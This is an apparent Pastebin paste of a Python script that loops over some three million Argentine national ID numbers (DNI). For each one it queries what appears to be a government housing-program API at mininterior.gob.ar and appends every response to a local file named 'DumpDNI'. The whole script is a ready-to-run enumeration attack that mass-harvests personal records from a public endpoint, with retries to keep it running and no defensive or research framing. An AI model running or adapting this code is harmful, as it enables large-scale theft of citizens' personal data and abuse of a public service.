SHARE
TWEET

lol

a guest Jun 18th, 2019 59 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import requests
  2. import sys
  3. from requests.adapters import HTTPAdapter
  4. from requests.packages.urllib3.util.retry import Retry
  5. INICIO = 16000000
  6. FIN    = 19000000
  7.  
  8.  
  9. def requests_retry_session(
  10.     retries=3,
  11.     backoff_factor=0.3,
  12.     status_forcelist=(500, 502, 504),
  13.     session=None,
  14. ):
  15.     session = session or requests.Session()
  16.     retry = Retry(
  17.         total=retries,
  18.         read=retries,
  19.         connect=retries,
  20.         backoff_factor=backoff_factor,
  21.         status_forcelist=status_forcelist,
  22.     )
  23.     adapter = HTTPAdapter(max_retries=retry)
  24.     session.mount('http://', adapter)
  25.     session.mount('https://', adapter)
  26.     return session
  27.    
  28.    
  29.  
  30. curr = INICIO
  31.  
  32. def getData(dni):
  33.     fil = requests_retry_session().get("https://procrear-compra.mininterior.gob.ar/api/ValidacionesExternas?cuil=99{0}0&relacion=3".format(dni), timeout=20)
  34.     return fil.text
  35.    
  36. getData(INICIO)
  37.  
  38. datafile = open("DumpDNI", "a")
  39. while curr != FIN:
  40.     print("DNI " + str(curr))
  41.     try:
  42.         m = getData(curr)
  43.         datafile.write(str(curr) + " " + m + "\n")
  44.     except KeyboardInterrupt:
  45.         sys.exit(0)
  46.     except Exception as e:
  47.         print("error", e)
  48.     curr += 1
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top